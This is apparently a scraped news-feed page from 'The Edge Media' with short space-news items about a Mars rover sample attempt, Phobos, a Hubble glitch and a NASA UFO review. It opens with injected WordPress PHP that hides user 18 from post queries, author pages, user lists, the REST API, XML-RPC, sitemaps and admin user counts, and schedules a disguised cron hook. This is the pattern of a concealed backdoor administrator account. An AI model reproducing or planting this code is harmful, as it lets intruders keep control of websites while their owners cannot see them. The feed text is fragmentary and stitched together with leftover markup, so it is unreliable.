add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post NASA Mars Rover fails to collect rock in search of Alien Life. appeared first on The Edge Media.
]]>The US space agency published images Friday of a small mound with a hole in its center next to the rover–the first ever dug into the Red Planet by a robot.
But data sent to Earth by the rover after its first attempt to collect a sample and seal it in a tube indicated on rock had been gathered.
“While this is not the ‘hole-in-one’ we hoped for, there is always risk with breaking new ground,” said Thomas Zurbuchen, associate administrator for NASA’s science mission directorate, in a statement.
The post NASA Mars Rover fails to collect rock in search of Alien Life. appeared first on The Edge Media.
]]>The post You say potato, we say Mars Moon :NASA appeared first on The Edge Media.
]]>“This is an image of Phobos, the largest of Mars’ two raggedy moons, as seen by our Mars Reconnaissance Orbiter spacecraft’s @UAHiRISE camera,” NASA stated.


“Scientists have calculated that tiny Phobos is nearing Mars at a rate of 1.8 meters (6 feet) every century, meaning it will either crash into the planet in 50 million years or break up into a ring of debris,” NASA posted on the Instagram
The photograph was obtained from a height of 6,800 kilometres (4,225 miles).
The innermost and bigger of Mars’ two natural satellites, Phobos is larger than Deimos.
Asaph Hall, an American astronomer, discovered both moons in 1877.
Phobos is named after the Greek god Phobos, who is the twin brother of Deimos and the son of Ares (Mars) and Aphrodite (Venus).
Phobos was a god who represented terror and panic (cf. phobia).
(With inputs from agencies)
The post You say potato, we say Mars Moon :NASA appeared first on The Edge Media.
]]>The post Hubble Space Telescope Faces Glitch Again After A Decade appeared first on The Edge Media.
]]>Nasa has already finished a test of the processes that will be used to reset the payload computer, which crashed on June 13 and forced all of the science equipment into a safe mode configuration. By next week, the process may be tested on the telescope.
The post Hubble Space Telescope Faces Glitch Again After A Decade appeared first on The Edge Media.
]]>The post Navy pilots saw something real: NASA chief orders probe into UFO sightings appeared first on The Edge Media.
]]>Bill Nelson, Nasa manager, told CNN Business during an interview that he was turning to the experts of the Space Agency to ask them to look at the odd happenings from a scientific point of view to obtain a better picture.
The United States Defense Department released three declassified films in April last year showing American Navy pilots meeting UFOs. While the recordings had previously been hacked and published by a top US daily, the Pentagon recognised these films publicly for the first time.
The post Navy pilots saw something real: NASA chief orders probe into UFO sightings appeared first on The Edge Media.
]]>